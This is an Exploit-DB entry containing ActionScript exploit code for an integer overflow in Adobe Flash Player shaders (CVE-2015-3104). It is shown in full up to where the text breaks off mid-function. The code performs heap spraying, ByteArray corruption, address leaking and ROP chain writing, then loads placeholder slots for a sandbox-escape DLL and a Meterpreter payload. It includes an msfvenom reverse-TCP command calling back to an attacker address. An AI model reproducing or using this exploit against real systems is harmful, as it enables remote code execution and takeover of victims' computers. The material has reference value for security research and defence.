Exploit-DB #50290
Description: Adobe Flash Player - Integer Overflow
Type: remote
Platform: multiple
Date: 2017-01-14
Author: ryujin

Exploit:
// Exploit Title: Adobe Flash Player - Integer Overflow
// Exploit Author: Matteo Memelli (ryujin@offensive-security)
// Date: 14/01/2017
// Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader
// CVE: CVE-2015-3104
// Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104

package
{
  import flash.display.*;
  import flash.utils.ByteArray;
  import flash.events.Event;
  import flash.events.MouseEvent;
  import flash.text.*
  import mx.utils.Base64Decoder;

  public class ShaderInputOverflow extends Sprite
  {
  	public var bb:ByteArray = null;
	public var allocate:Array;
	public var MAX_ARRAY:uint = 81920;
	public var text:TextField = new TextField();
	public var gText:String = "";
	public var corrupted:uint = 0;
	public var corrupted_ba_address:uint = 0;
	public var corrupted_ba_pos:uint = 0;
	public var next_ba_address:uint = 0;
	public var NPSWF32Base:uint = 0;

    public function ShaderInputOverflow():void
    {
		if (stage) drawText();
		else addEventListener(Event.ADDED_TO_STAGE, drawText);
		drawText();

		var i:uint;
		allocate = new Array();

		for (i = 0; i < MAX_ARRAY; i++) {
		  bb = new ByteArray();
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  bb.writeByte(0x57);
		  bb.writeByte(0x30);
		  bb.writeByte(0x30);
		  bb.writeByte(0x54);
		  allocate.push(bb);
		}

		// We create "holes" of size 0x18 bytes on the heap
		i = MAX_ARRAY/2;
		while (i<MAX_ARRAY)
		{
		if (i % 2 != 0) {
			allocate[i] = null;
		}
		i++;
		}

		var ba:ByteArray = new ByteArray();
		ba.writeByte(0xa1);  // Define parameter?
		ba.writeByte(0x02);  // Output.
		ba.writeByte(0x04);  // Type: 4 floats.
		ba.writeByte(0x00);  // 16-bit field, ??
		ba.writeByte(0x01);
		ba.writeByte(0xff);  // Mask.
		ba.writeByte(0x41);
		ba.writeByte(0x00);  // Param name: 'A'
		ba.writeByte(0xa3);  // Add texture?
		ba.writeByte(0x00);  // Index?
		ba.writeByte(0x40);  // 64 channels.
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x42);
		ba.writeByte(0x00);  // Texture name: 'BBBB'
		ba.position = 0;
		var baOut:ByteArray = new ByteArray();
		var baIn:ByteArray = new ByteArray();

		// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff
		// and the pointer to the data to 0x16000000

		baIn.writeUnsignedInt(0x6230306e);
		baIn.writeUnsignedInt(0x6230306e);
		baIn.writeUnsignedInt(0x41414141); // ptr
		baIn.writeUnsignedInt(0x41414141); // 0x1

		// Offset can be 0x10 bytes
		baIn.writeUnsignedInt(0x16000000); // ptr to data
		baIn.writeUnsignedInt(0xffffffff); // capacity
		baIn.writeUnsignedInt(0x16000000); // length / ptr to data
		// Another time in case the offset is 0x8 bytes
		baIn.writeUnsignedInt(0xffffffff); // capacity
		baIn.writeUnsignedInt(0xffffffff); // length

		var job:ShaderJob = new ShaderJob();
		var shader:Shader = new Shader();
		shader.byteCode = ba;
		shader.data.BBBB.width = 8192;
		shader.data.BBBB.height = 8192;
		shader.data.BBBB.input = baIn;
		job.target = baOut;
		job.width = 1;
		job.height = 1;
		job.shader = shader;

		// We need to catch the Error thrown by Flash to continue the execution
		// job.start triggers the copy that causes the heap overflow
		try
		{
			job.start(true);
		}
		catch (err:Error)
		{
			trace("w00t");
		}
		var s:spray = new spray();
		corrupted = findCorrupted();
		allocate[corrupted].position = 0;
		gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
		gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
		findCorruptedAddress();
		gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
		var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
		gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
		NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
		gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";

		// Look for the corrupted ByteArray::Buffer object address
		var tosearch:uint = corrupted_ba_address;
		gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
		var VTableObj:uint = findVTable(tosearch);
		gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
		updateText();

		var methodEnvVtable:uint = readDword(VTableObj+0xd4);
		gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n";
		updateText();

		// Crash on the Jitted pointer dereference that leads to code execution
		//writeDword((VTableObj+0xd4), 0x42424242);

		// Control the Jitted pointer dereference that leads to code execution
		writeROPChain(NPSWF32Base);

		// Decode and Write the files for the privilege escalation to memory
		var dll:ByteArray = new ByteArray();
		var met:ByteArray = new ByteArray();
		var dec1:Base64Decoder = new Base64Decoder();
		var dec2:Base64Decoder = new Base64Decoder();
		// sandbox exploit code
		dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
		dll = dec1.toByteArray();

		// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
		// base64 pwnd.exe | tr --delete '\n'
		// Meterpreter executable or any other payload…
 		dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
		met = dec2.toByteArray();
		writeBytes(0x1a100000, met);
		writeBytes(0x1a200000, dll);

		writeDword((VTableObj+0xd4), 0x1a000000);
		gText += allocate[corrupted].toString();
    }

	private function hexStringToByteArray(hexstring:String) : ByteArray
    {
		var binda